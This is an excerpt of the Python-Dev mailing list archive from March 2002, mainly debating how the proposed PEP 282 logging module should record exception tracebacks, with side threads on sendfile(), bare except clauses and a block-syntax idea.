I'd also add it to my collection, if someone wants to provide an
attribution for it.

--amk




From jeremy@zope.com  Wed Mar 20 21:10:59 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Wed, 20 Mar 2002 16:10:59 -0500
Subject: [Python-Dev] PEP 282 comments
Message-ID: <web-3788637@digicool.com>

I think the log4j levels are sufficient.  zLOG has more
levels, but it's hard to figure out what to use them for
:-).

zLOG does have a nice feature for passing an exception info
to a log call.  I'd like to see this as a standard feature,
e.g.

logger.info("A normal exception occurred",
    exc_info=sys.exc_info())

The idea is the any of the log calls could also include a
formatted traceback in the log.  (I suppose this means that
the Handlers need a pluggable way to format exceptions.)
This is useful for all log levels.  In a long running
server, you may get exceptions that are unexpected but no so
important that you're going to fail or bring the server
down.

What's the current status of this PEP?  I like the general
outline of stuff, but it feels a little fuzzy.  That is, it
seems to present a high-level description and a bunch of
options.  I'd like to see the concrete APIs for all of the
objects.

I'd also love to get at least a prototype implementation.
It would be need to replace the zLOG in Zope3 with a new
logging implementation that follows the PEP.

Jeremy


From guido@python.org  Wed Mar 20 21:16:28 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 20 Mar 2002 16:16:28 -0500
Subject: [Python-Dev] PEP 282 comments
In-Reply-To: Your message of "Wed, 20 Mar 2002 16:10:59 EST."
 <web-3788637@digicool.com>
References: <web-3788637@digicool.com>
Message-ID: <200203202116.g2KLGSM08733@odiug.zope.com>

> logger.info("A normal exception occurred",
>     exc_info=sys.exc_info())

Or you could have a call logger.exception("message") that knows to
call sys.exc_info().  That would reduce the boilerplate.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Wed Mar 20 21:14:49 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 20 Mar 2002 22:14:49 +0100
Subject: [Python-Dev] Add sendfile() to core?
In-Reply-To: <20020320195357.GA15076@ute.mems-exchange.org>
References: <20020320195357.GA15076@ute.mems-exchange.org>
Message-ID: <m3bsdjuek6.fsf@mira.informatik.hu-berlin.de>

Andrew Kuchling <akuchlin@mems-exchange.org> writes:

> sendfile() is used when writing really high-performance Web servers,
> in order to save an unnecessary memory-to-memory copy.  Question:
> should I make up a patch to add a sendfile() wrapper to Python?

Certainly. posixmodule.c is traditionally the place for wrappers
around function supported one atleast some Unixish systems; it
contains already functions less useful than sendfile.

Regards,
Martin



From jeremy@zope.com  Wed Mar 20 21:26:45 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Wed, 20 Mar 2002 16:26:45 -0500
Subject: [Python-Dev] PEP 282 comments
In-Reply-To: <200203202116.g2KLGSM08733@odiug.zope.com>
Message-ID: <web-3788750@digicool.com>

On Wed, 20 Mar 2002 16:16:28 -0500
 Guido van Rossum <guido@python.org> wrote:
> > logger.info("A normal exception occurred",
> >     exc_info=sys.exc_info())
> 
> Or you could have a call logger.exception("message") that
> knows to
> call sys.exc_info().  That would reduce the boilerplate.

But how would logger.exception() know what log level to use?

Jeremy


From skip@pobox.com  Wed Mar 20 21:28:44 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 20 Mar 2002 15:28:44 -0600
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <200203200013.g2K0DFR02231@pcp742651pcs.reston01.va.comcast.net>
References: <15511.42645.906782.720500@12-248-41-177.client.attbi.com>
 <200203200013.g2K0DFR02231@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15512.65292.63949.677473@beluga.mojam.com>

    >> * open a separate bug for each module that uses unqualified except
    >>   clauses that don't obviously need to guard against random
    >>   exceptions (see my notes below).

    Guido> Hm, I think it may take more time to create all those bug reports
    Guido> than it would to fix half of them.  So fix half of them first,
    Guido> thereby greatly reducing the rest.

Okay, your wish is my command.  I just uploaded a new patch to SF that
provides proposed fixes for 11 modules.

    http://python.org/sf/411881

Feedback from anyone appreciated.

i-love-these-short-urls!-ly, y'rs,

Skip


From python@discworld.dyndns.org  Wed Mar 20 21:47:55 2002
From: python@discworld.dyndns.org (Charles Cazabon)
Date: Wed, 20 Mar 2002 15:47:55 -0600
Subject: [Python-Dev] PEP 282 comments
In-Reply-To: <web-3788750@digicool.com>; from jeremy@zope.com on Wed, Mar 20, 2002 at 04:26:45PM -0500
References: <200203202116.g2KLGSM08733@odiug.zope.com> <web-3788750@digicool.com>
Message-ID: <20020320154755.B9471@twoflower.internal.do>

Jeremy Hylton <jeremy@zope.com> wrote:
> > 
> > Or you could have a call logger.exception("message") that knows to call
> > sys.exc_info().  That would reduce the boilerplate.
> 
> But how would logger.exception() know what log level to use?

Make it take an argument for the message, and another for the level?

Charles
-- 
-----------------------------------------------------------------------
Charles Cazabon                           <python@discworld.dyndns.org>
GPL'ed software available at:     http://www.qcc.ca/~charlesc/software/
-----------------------------------------------------------------------


From guido@python.org  Wed Mar 20 21:44:51 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 20 Mar 2002 16:44:51 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: Your message of "Wed, 20 Mar 2002 16:09:26 EST."
 <20020320210926.GA15513@ute.mems-exchange.org>
References: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net> <03af01c1d04e$046a0cd0$ced241d5@hagrid>
 <20020320210926.GA15513@ute.mems-exchange.org>
Message-ID: <200203202144.g2KLipl09004@odiug.zope.com>

> On Wed, Mar 20, 2002 at 09:30:00PM +0100, Fredrik Lundh quoted:
> >tim wrote:
> >>     The joy of coding Python should be in seeing short, concise,
> >>     readable classes that express a lot of action in a small amount of
> >>     clear code -- not in reams of trivial code that bores the reader to
> >>     death.
> 
> I'd also add it to my collection, if someone wants to provide an
> attribution for it.
> 
> --amk

It was me.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From trentm@ActiveState.com  Wed Mar 20 22:02:39 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 20 Mar 2002 14:02:39 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <web-3788637@digicool.com>; from jeremy@zope.com on Wed, Mar 20, 2002 at 04:10:59PM -0500
References: <web-3788637@digicool.com>
Message-ID: <20020320140239.B10989@ActiveState.com>

[Jeremy Hylton wrote]
> zLOG does have a nice feature for passing an exception info
> to a log call.  I'd like to see this as a standard feature,
> e.g.
> 
> logger.info("A normal exception occurred",
>     exc_info=sys.exc_info())
> 
> The idea is the any of the log calls could also include a
> formatted traceback in the log.

Ideas I am batting around:

MarkH's and Guido's (doesn't allow controlling the level of the message):
    class Logger:
        def exception(self, msg, *args):
            # This is almost identical to error(), but sys.exc_info() is
            # called, and if available the exception details are appended to
            # msg.  As sys.exc_info() is called, this is only useful in an
            # exception handler.

    logger.exception("Like, Oh My God!")  # cannot log it at 'info' level


Jeremy's:
    class Logger:
        def info(self, level, msg, *args, **kwargs):
            # watch for 'exc_info' in kwargs

    logger.info("Like, Oh My God!", exc_info=sys.exc_info())


Trent's:
    class Logger:
        def exception(self, msg, *args, **kwargs):
            # watch for 'level' in kwargs

    logger.exception("Like, Oh My God!", level=logging.INFO)


Which do you all prefer?



> What's the current status of this PEP?  I like the general
> outline of stuff, but it feels a little fuzzy.  That is, it
> seems to present a high-level description and a bunch of
> options.  I'd like to see the concrete APIs for all of the
> objects.

The current status is that I have been slowly working on it in private. I
agree that the current PEP is fuzzy.


> I'd also love to get at least a prototype implementation.
> It would be need to replace the zLOG in Zope3 with a new
> logging implementation that follows the PEP.

Last week (I think) Vinay Sajip posted on python-list that he had a prototype
implementation of PEP 282. 
    http://www.red-dove.com/python_logging.html
I like what he has and I hope to work with him (merging with what
implementation scraps I have) to build the eventual proposed patch for the
PEP. I haven't told him this yet though. :)  Vinay, what do you think?


Trent

-- 
Trent Mick
TrentM@ActiveState.com


From vinay_sajip@red-dove.com  Wed Mar 20 22:57:44 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Wed, 20 Mar 2002 22:57:44 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <web-3788637@digicool.com> <20020320140239.B10989@ActiveState.com>
Message-ID: <001b01c1d062$a766f740$652b6992@alpha>

> [Jeremy Hylton wrote]
> > zLOG does have a nice feature for passing an exception info
> > to a log call.  I'd like to see this as a standard feature,
> > e.g.
> >
> > logger.info("A normal exception occurred",
> >     exc_info=sys.exc_info())
> >
> > The idea is the any of the log calls could also include a
> > formatted traceback in the log.
>
> Ideas I am batting around:
>
> MarkH's and Guido's (doesn't allow controlling the level of the message):
>     class Logger:
>         def exception(self, msg, *args):
>             # This is almost identical to error(), but sys.exc_info() is
>             # called, and if available the exception details are appended
to
>             # msg.  As sys.exc_info() is called, this is only useful in an
>             # exception handler.
>
>     logger.exception("Like, Oh My God!")  # cannot log it at 'info' level
>
>
> Jeremy's:
>     class Logger:
>         def info(self, level, msg, *args, **kwargs):
>             # watch for 'exc_info' in kwargs
>
>     logger.info("Like, Oh My God!", exc_info=sys.exc_info())
>
>
> Trent's:
>     class Logger:
>         def exception(self, msg, *args, **kwargs):
>             # watch for 'level' in kwargs
>
>     logger.exception("Like, Oh My God!", level=logging.INFO)
>
>
> Which do you all prefer?
>
I have to declare a preference for Mark's and Guido's approach. The reason
is - what is a "normal" exception? And if it is "normal", why do we need to
see a stack trace for it? In an exception handler, you can do "normal"
logging - via debug(), info(), warn(), error() or fatal(). That would cater
for "normal" exceptions (e.g. due to receiving bad data from external
sources). You are using exception() solely to indicate that you want to send
traceback info to the log. In practice, I haven't seen much value in putting
traceback info in the log unless it's really needed - otherwise it just
makes the log harder to read.

If it's that important to have the level explicitly specified with a
traceback, why not make it a mandatory argument to exception? If you don't
want to clutter every exception call with the level argument, I think an
additional "exception_ex" method (not that name, exactly! but you know what
I mean) could be added for those people who really need it.
...
def exception(self, level, msg, *args):
...

>
> > What's the current status of this PEP?  I like the general
> > outline of stuff, but it feels a little fuzzy.  That is, it
> > seems to present a high-level description and a bunch of
> > options.  I'd like to see the concrete APIs for all of the
> > objects.
>
> The current status is that I have been slowly working on it in private. I
> agree that the current PEP is fuzzy.
>
>
> > I'd also love to get at least a prototype implementation.
> > It would be need to replace the zLOG in Zope3 with a new
> > logging implementation that follows the PEP.
>
> Last week (I think) Vinay Sajip posted on python-list that he had a
prototype
> implementation of PEP 282.
>     http://www.red-dove.com/python_logging.html
> I like what he has and I hope to work with him (merging with what
> implementation scraps I have) to build the eventual proposed patch for the
> PEP. I haven't told him this yet though. :)  Vinay, what do you think?
>
No problem in principle. I'm about to post version 0.4, which has a whole
lot of additional functionality. It now looks pretty close to PEP 282 (bar
things like some method and class names), and I could use your help
pinpointing areas where it doesn't match. What areas do your "implementation
scraps" cover?

Below  is the change history for 0.4. You'll see that most of the previous
"to do"s are history :-)

Regards

Vinay Sajip
--------------------------------------------
Incorporated comments/patches from Ollie Rutherfurd:
-Added level filtering for handlers.
-Return root logger if no name specified in getLogger.
Incorporated comments from Greg Ward:
-Added distutils setup.py script.
Added formatter initialization in Handler.__init__.
Tidied up docstrings.
Added removeHandler to Logger.
Added removeFilter to Logger and Handler.
logrecv.py modified to keep connection alive until client closes it.
SocketHandler modified to not reset connection after each logging event.
Added shutdown function which closes open sockets etc.
Renamed DEFAULT_LOGGING_PORT->DEFAULT_TCP_LOGGING_PORT.
Added DEFAULT_UDP_LOGGING_PORT.
Added log_test4.py (example of arbitrary levels).
Added addLevelName, changed behaviour of getLevelName.
Fixed bugs in DatagramHandler.
Added SMTPHandler implementation.
Added log_test5.py to test SMTPHandler.
Added SysLogHandler (contribution from Nicolas Untz based on Sam Rushing's
syslog.py).
Modified log_test1.py to add a SysLogHandler.
Added rollover functionality to FileHandler.
Added NTEventLogHandler (based on Win32 extensions).
Added log_test6.py to test NTEventHandler.
Added MemoryHandler implementation.
Added log_test7.py to test MemoryHandler.
Added log_test8.py to test FileHandler rollover.
--------------------------------------------




From jeremy@zope.com  Wed Mar 20 23:08:27 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Wed, 20 Mar 2002 18:08:27 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <001b01c1d062$a766f740$652b6992@alpha>
Message-ID: <web-3789526@digicool.com>

On Wed, 20 Mar 2002 22:57:44 -0000
 "Vinay Sajip" <vinay_sajip@red-dove.com> wrote:
> I have to declare a preference for Mark's and Guido's
> approach. The reason
> is - what is a "normal" exception? And if it is "normal",
> why do we need to
> see a stack trace for it?

ZEO is a component that lets clients on remote machines
access a ZODB storage using a custon Python RMI.  (The
details aren't exactly important, except that it's a
concrete example.)  IOW, ZEO + ZODB is a client-server
object database.

It's possible for all sorts of things to go wrong for an
individual RMI.  There can be a problem marshalling or
unmarshalling the objects.  There can be a problem with
executing the actual methods on the server.  There can be a
problem with application code that is executed as a result
of calling some method on the server.  Etc.

Few of these errors are fatal.  Some of them may be
uninteresting most of the time.  So I'd like to log
tracebacks and vary the log level depending on the
importance of the event that caused the exception.

One particular example is a KeyError.  The server will raise
a KeyError if the client asks for an object that doesn't
exist.  There are clients that catch this error on the
client side and handle it cleanly.  It's not an important
exception for them.  But I'd like to log the traceback on
the server to handle cases where the client isn't expecting
it.  I'd probably log this at debug() level.  Most of the
time, nobody cares about a KeyError.  But it might
occasionally be useful when debugging something.

Jeremy


From vinay_sajip@red-dove.com  Wed Mar 20 23:29:04 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Wed, 20 Mar 2002 23:29:04 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <web-3789526@digicool.com>
Message-ID: <003f01c1d067$0791f760$652b6992@alpha>

> ZEO is a component that lets clients on remote machines
> access a ZODB storage using a custon Python RMI.  (The
> details aren't exactly important, except that it's a
> concrete example.)
Point taken. In my current implementation, there is a generalized logging
method in class Logger:

def log(self, level, msg, *args):

I propose to add an additional method:

def logException(self, level, exc_info, msg, *args)

This should do the trick, I hope. The 0.4 version will include this method.

Regards

Vinay




From jeremy@zope.com  Wed Mar 20 23:33:46 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Wed, 20 Mar 2002 18:33:46 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <003f01c1d067$0791f760$652b6992@alpha>
Message-ID: <web-3789653@digicool.com>

On Wed, 20 Mar 2002 23:29:04 -0000

> I propose to add an additional method:
> 
> def logException(self, level, exc_info, msg, *args)
> 
> This should do the trick, I hope. The 0.4 version will
> include this method.

I really like the shorthands for log levels, e.g.
logger.debug() instead of logger.log(DEBUG, ...).  So I'd be
disappointed if I couldn't use it when I want to log an
exception.

Jeremy


From tim.one@comcast.net  Wed Mar 20 23:41:30 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 20 Mar 2002 18:41:30 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <20020320210926.GA15513@ute.mems-exchange.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEFCOGAA.tim.one@comcast.net>

[amk]
> I'd also add it to my collection, if someone wants to provide an
> attribution for it.

Since Guido owned up to it, I'll confirm it.  It was in email arguing
against the growing trend of an anonymous project to require the use of
trivial getter and setter methods even for classes just basically emulating
C structs.  By the time you've written getters and setters for "x" and "y";
documented that they, respectively, get and set "x" and "y"; repeated those
mindless docs in both the interface and in the method bodies; and written
unit tests to verify that setting x sets x, and that getting x gets the x
that was set; then likewise for y; well, then, if you're Guido, you stay up
late writing quotable quotes.

all-in-all-a-good-thing-ly y'rs  - tim



From trentm@ActiveState.com  Wed Mar 20 23:57:06 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 20 Mar 2002 15:57:06 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <003f01c1d067$0791f760$652b6992@alpha>; from vinay_sajip@red-dove.com on Wed, Mar 20, 2002 at 11:29:04PM -0000
References: <web-3789526@digicool.com> <003f01c1d067$0791f760$652b6992@alpha>
Message-ID: <20020320155706.A3542@ActiveState.com>

[Vinay Sajip wrote]
> > ZEO is a component that lets clients on remote machines
> > access a ZODB storage using a custon Python RMI.  (The
> > details aren't exactly important, except that it's a
> > concrete example.)
> Point taken. In my current implementation, there is a generalized logging
> method in class Logger:
> 
> def log(self, level, msg, *args):
> 
> I propose to add an additional method:
> 
> def logException(self, level, exc_info, msg, *args)

No need to pass in the exc_info if you are already specifying that an
exception is being logged via log*Exception*.

How about this (just an idea):
    def info(self, msgOrException, *args):
        if isinstance(msgOrException, Exception):
            # format the exception and 
            msg, args = args[0], args[1:]
        else:
            # treat it like before

    try:
        # ...
    except Exception, ex:
        log.info(ex, "Eeeeek!")

Trent


-- 
Trent Mick
TrentM@ActiveState.com


From tim.one@comcast.net  Wed Mar 20 23:59:19 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 20 Mar 2002 18:59:19 -0500
Subject: [Python-Dev] SF redirector operational
In-Reply-To: <200203201823.g2KINx401554@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEFDOGAA.tim.one@comcast.net>

[Martin v. Loewis]
> I just completed installation of version 1 of the SF redirector, at
> http://python.org/sf/NNNNN. It uses a cache to redirect to either
> bugs, patches, or feature requests, so the overhead of finding the
> right tracker is paid only on the first request.

Very cool!  Thank you.

> If you find any problems, please let me know.

I've got a nasty flu, and got way more spam today than usual.  I can't think
of anything else that might account for those two in tandem, so please fix
that bug.



From mhammond@skippinet.com.au  Thu Mar 21 01:04:23 2002
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 21 Mar 2002 12:04:23 +1100
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020320155706.A3542@ActiveState.com>
Message-ID: <LCEPIIGDJPKCOIHOBJEPGEBFFFAA.mhammond@skippinet.com.au>

[Trent]

> How about this (just an idea):
>     def info(self, msgOrException, *args):
>         if isinstance(msgOrException, Exception):
>             # format the exception and
>             msg, args = args[0], args[1:]
>         else:
>             # treat it like before
>
>     try:
>         # ...
>     except Exception, ex:
>         log.info(ex, "Eeeeek!")

I don't like this.  I think it rare you will want to log an exception with
no contextual message.

Eg,

  info(sys.exc_info())

Would be pretty useless in a log.  You would also want to include *what*
went wrong (whereas the exception generally only tells you *why* (and where)
it went wrong.

Mark.



From vinay_sajip@red-dove.com  Thu Mar 21 01:04:14 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 01:04:14 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <web-3789653@digicool.com>
Message-ID: <005101c1d074$52fed260$652b6992@alpha>

> I really like the shorthands for log levels, e.g.
> logger.debug() instead of logger.log(DEBUG, ...).  So I'd be
> disappointed if I couldn't use it when I want to log an
> exception.
>
Would you be happy with a parallel set of xxxException() methods for each of
the convenience methods debug(), info() etc? These are easy to provide,
library module size is the only real issue.

Regards

Vinay



From vinay_sajip@red-dove.com  Thu Mar 21 01:14:52 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 01:14:52 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <web-3789526@digicool.com> <003f01c1d067$0791f760$652b6992@alpha> <20020320155706.A3542@ActiveState.com>
Message-ID: <007801c1d075$ced1ede0$652b6992@alpha>

> > def logException(self, level, exc_info, msg, *args)
>
> No need to pass in the exc_info if you are already specifying that an
> exception is being logged via log*Exception*.
Yes, except that you are assuming (I think) that logException would call
sys.exc_info() to get the exception info. This is fine for most cases, but
what about if the exception info needs to come from somewhere else (e.g.
from a pickled message sent over the wire)? I haven't yet thought through
all the issues about passing tracebacks etc. across sockets...my proposed
interface just seemed a little more general.
>
> How about this (just an idea):
>     def info(self, msgOrException, *args):
>         if isinstance(msgOrException, Exception):
>             # format the exception and
>             msg, args = args[0], args[1:]
>         else:
>             # treat it like before
>
>     try:
>         # ...
>     except Exception, ex:
>         log.info(ex, "Eeeeek!")
I have to admit I find these kinds of "special cases" worthy of caution. I'd
much rather provide a parallel set of xxxException() methods - I think they
would result in less "gotcha"s for the occasional (or inexperienced) user.
Plus - at some point we are going to have to think about performance - and
then we may regret overcomplicating the usual case code path for less common
scenarios.

Regards

Vinay



From James_Althoff@i2.com  Thu Mar 21 01:47:15 2002
From: James_Althoff@i2.com (James_Althoff@i2.com)
Date: Wed, 20 Mar 2002 17:47:15 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
Message-ID: <OF51499A15.96DD5368-ON88256B83.00066C93@i2.com>

Or ...

invoke callable():
    statement1
    statement2
    . . .
    statementn


is syntax for:


def temp():
    statement1
    statement2
    . . .
    statementn

callable(temp)

del temp


More generally,

invoke expr-that-results-in-a-callable(a,b,c) lambda x,y,z:
    statement1
    statement2
    . . .
    statementn

is syntax for:

def temp(x,y,z):
    statement1
    statement2
    . . .
    statementn

expr-that-results-in-a-callable(temp,a,b,c)

del temp


examples:

invoke aquireLockAndDo():
    sensitiveStuff()

invoke withConnectionDo():
    generateReport()

invoke gui.showBusyCursorDuring():
    doQuery()

invoke gui.showStatusDuring(msg="Searching..."):
    doQuery()

invoke gui.showBusyCursorDuring():
    invoke gui.showStatusDuring(msg="Generating Report..."):
        invoke withConnectionDo():
            generateReport()

invoke button.setEventHandler() lambda event:
    print event


Freely substitute any preferred keyword: "call", "run", etc. instead of
"invoke".

call aquireLockAndDo():
    sensitiveStuff()

run aquireLockAndDo():
    sensitiveStuff()

etc.

Doesn't handle return values, but ...

Jim



From guido@python.org  Thu Mar 21 01:57:41 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 20 Mar 2002 20:57:41 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: Your message of "Wed, 20 Mar 2002 18:08:27 EST."
 <web-3789526@digicool.com>
References: <web-3789526@digicool.com>
Message-ID: <200203210157.g2L1vgW05305@pcp742651pcs.reston01.va.comcast.net>

> ZEO is a component that lets clients on remote machines
> access a ZODB storage using a custon Python RMI.  (The
> details aren't exactly important, except that it's a
> concrete example.)  IOW, ZEO + ZODB is a client-server
> object database.
> 
> It's possible for all sorts of things to go wrong for an
> individual RMI.  There can be a problem marshalling or
> unmarshalling the objects.  There can be a problem with
> executing the actual methods on the server.  There can be a
> problem with application code that is executed as a result
> of calling some method on the server.  Etc.
> 
> Few of these errors are fatal.  Some of them may be
> uninteresting most of the time.  So I'd like to log
> tracebacks and vary the log level depending on the
> importance of the event that caused the exception.
> 
> One particular example is a KeyError.  The server will raise
> a KeyError if the client asks for an object that doesn't
> exist.  There are clients that catch this error on the
> client side and handle it cleanly.  It's not an important
> exception for them.  But I'd like to log the traceback on
> the server to handle cases where the client isn't expecting
> it.  I'd probably log this at debug() level.  Most of the
> time, nobody cares about a KeyError.  But it might
> occasionally be useful when debugging something.

If this use case is rare enough, maybe a better approach would be to
let you format it yourself using the traceback module?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From kbutler@campuspipeline.com  Thu Mar 21 01:59:24 2002
From: kbutler@campuspipeline.com (Kevin Butler)
Date: Wed, 20 Mar 2002 18:59:24 -0700
Subject: [Python-Dev] Re: PEP 282 comments (Jeremy Hylton)
References: <E16nq1R-0007Wh-00@mail.python.org>
Message-ID: <3C993E7C.8000706@campuspipeline.com>

From: "Jeremy Hylton" <jeremy@zope.com>

> I really like the shorthands for log levels, e.g.
> logger.debug() instead of logger.log(DEBUG, ...).  So I'd be
> disappointed if I couldn't use it when I want to log an
> exception.

+1

Conceptually, I'm logging a debug message (or
error message, or warning), and want to include exception 
information. The optional named argument allows all the
levels to provide exception logging easily and consistently,
without cluttering the interface with lots of "levelEx" methods.

I'd probably spell it:
class Logger:
  def debug( msg, exc=None ):
      ...

log.debug( msg, exc=sys.exc_info() )

Or possibly:
  log.debug( msg, exc=1 )

to have the logger call sys.exc_info()

kb

PS. As this is my first post to Python-dev, here's the ObBriefIntro:

I've been using Python for several years, I actually first played
with Python because of a web search hit on the "soundex" module, 
of all things (soundex was disappointing, Python was not...). I rapidly
moved on to doing CORBA, Java, GUI, WWW, and RDB work with Python, and now 
tend to use Jython extensively.




From trentm@ActiveState.com  Thu Mar 21 02:08:17 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 20 Mar 2002 18:08:17 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPGEBFFFAA.mhammond@skippinet.com.au>; from mhammond@skippinet.com.au on Thu, Mar 21, 2002 at 12:04:23PM +1100
References: <20020320155706.A3542@ActiveState.com> <LCEPIIGDJPKCOIHOBJEPGEBFFFAA.mhammond@skippinet.com.au>
Message-ID: <20020320180817.A3444@ActiveState.com>

[Mark Hammond wrote]
> [Trent]
> 
> > How about this (just an idea):
> >     def info(self, msgOrException, *args):
> >         if isinstance(msgOrException, Exception):
> >             # format the exception and
> >             msg, args = args[0], args[1:]
> >         else:
> >             # treat it like before
> >
> >     try:
> >         # ...
> >     except Exception, ex:
> >         log.info(ex, "Eeeeek!")
> 
> I don't like this.  I think it rare you will want to log an exception with
> no contextual message.

But you still *can* log contextual information. What I meant and should have
shown is:

     def info(self, firstarg, *args):
         if isinstance(firstarg, Exception):
             exc = firstarg
             msg, args = args[0], args[1:]
         else:
             exc = None
             msg, args = firstarg, args
         # ... (if exc is not None then format the exception and append to
         #      msg%args

     try:
         # ...
     except Exception, ex:
         log.info(ex, "Eeeeek! %s %s %s", var1, var2, var3)

basically this log() implementation is just trying to do:

    def log(self, exception, msg, *args):
        #...
    def log(self, msg, *args):
        #...

...in a language that does not support method overloading.

Kinda klugdy? Maybe, though I would rather have:

    def exception(self, msg, *args, *kwargs):
        if not kwargs.has_key("level"):
            level = logging.ERROR
        else:
            level = kwargs["level"]
        #...

than:

    def debugException(...)
    def infoException(...)
    def warnException(...)
    def errorException(...)
    def fatalException(...)
    def logException(...)


[Guido on logging an exception at a level other than ERROR]
> If this use case is rare enough, maybe a better approach would be to
> let you format it yourself using the traceback module?

then just have:
    def exception(self, msg, *args):
        #...
    
Startin' to sound good to me.

Trent

-- 
Trent Mick
TrentM@ActiveState.com


From trentm@ActiveState.com  Thu Mar 21 02:13:07 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 20 Mar 2002 18:13:07 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <007801c1d075$ced1ede0$652b6992@alpha>; from vinay_sajip@red-dove.com on Thu, Mar 21, 2002 at 01:14:52AM -0000
References: <web-3789526@digicool.com> <003f01c1d067$0791f760$652b6992@alpha> <20020320155706.A3542@ActiveState.com> <007801c1d075$ced1ede0$652b6992@alpha>
Message-ID: <20020320181307.B3444@ActiveState.com>

[Vinay Sajip wrote]
> > > def logException(self, level, exc_info, msg, *args)
> >
> > No need to pass in the exc_info if you are already specifying that an
> > exception is being logged via log*Exception*.

> Yes, except that you are assuming (I think) that logException would call
> sys.exc_info() to get the exception info.  what about if the exception info
> needs to come from somewhere else (e.g.  from a pickled message sent over
> the wire)? I haven't yet thought through all the issues about passing
> tracebacks etc. across sockets...

Touche, I haven't thought about that either and don't know if I am qualified
to determine if that is a common enough case. If it is *not* that common then
(forgetting the 'level'-issue for the moment) you have to admit that:

    try:
        ...
    except:
        log.exception("My britches are burning!")

sure is a log nicer than

    try:
        ...
    except:
        log.logException(sys.exc_info(), "My britches are burning!")


Trent

-- 
Trent Mick
TrentM@ActiveState.com


From vinay_sajip@red-dove.com  Thu Mar 21 02:33:02 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 02:33:02 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320155706.A3542@ActiveState.com> <LCEPIIGDJPKCOIHOBJEPGEBFFFAA.mhammond@skippinet.com.au> <20020320180817.A3444@ActiveState.com>
Message-ID: <00be01c1d080$baca5ca0$652b6992@alpha>

> But you still *can* log contextual information. What I meant and should
have
> shown is:
>
>      def info(self, firstarg, *args):
>          if isinstance(firstarg, Exception):
>              exc = firstarg
>              msg, args = args[0], args[1:]
>          else:
>              exc = None
>              msg, args = firstarg, args
>          # ... (if exc is not None then format the exception and append to
>          #      msg%args
>
>      try:
>          # ...
>      except Exception, ex:
>          log.info(ex, "Eeeeek! %s %s %s", var1, var2, var3)
>
> basically this log() implementation is just trying to do:
>
>     def log(self, exception, msg, *args):
>         #...
>     def log(self, msg, *args):
>         #...
>
> ...in a language that does not support method overloading.
>
> Kinda klugdy? Maybe, though I would rather have:
>
>     def exception(self, msg, *args, *kwargs):
>         if not kwargs.has_key("level"):
>             level = logging.ERROR
>         else:
>             level = kwargs["level"]
>         #...
>
> than:
>
>     def debugException(...)
>     def infoException(...)
>     def warnException(...)
>     def errorException(...)
>     def fatalException(...)
>     def logException(...)

I agree that xxxException() methods are not really needed. Consider this:
I've provided a single logException() method (in 0.4, announcement just
posted to c.l.py), and it is certainly *functionally* enough to get the job
done. My suggestion about xxxException() methods was in response to Jeremy
saying he'd really  like the convenience methods. But it's probably too high
a price to pay for calls which only occur in exception handlers - which will
be a small proportion of the code in any (non-pathological!) system.

In most cases, people will be looking to associate traceback information
with errors. For them,

logger.exception(msg, args)

is just the ticket. For the less common cases, a call like

 logger.logException(logging.WARN, sys.exc_info(), msg, args)

does everything that is needed. This, it seems to me, is the simplest
interface which gives the desired flexibility. Even

exception(...)

is just shorthand for

logException(ERROR, sys.exc_info(), ...)

So at the cost of one extra method in the interface, we keep the
implementation neat,  clean and easy to understand and change. (And it's not
even "extra", in the sense that it's already there ...) For my money, the
above two methods provide the best value.

Regards

Vinay




From vinay_sajip@red-dove.com  Thu Mar 21 02:48:22 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 02:48:22 -0000
Subject: [Python-Dev] Re: PEP 282 comments
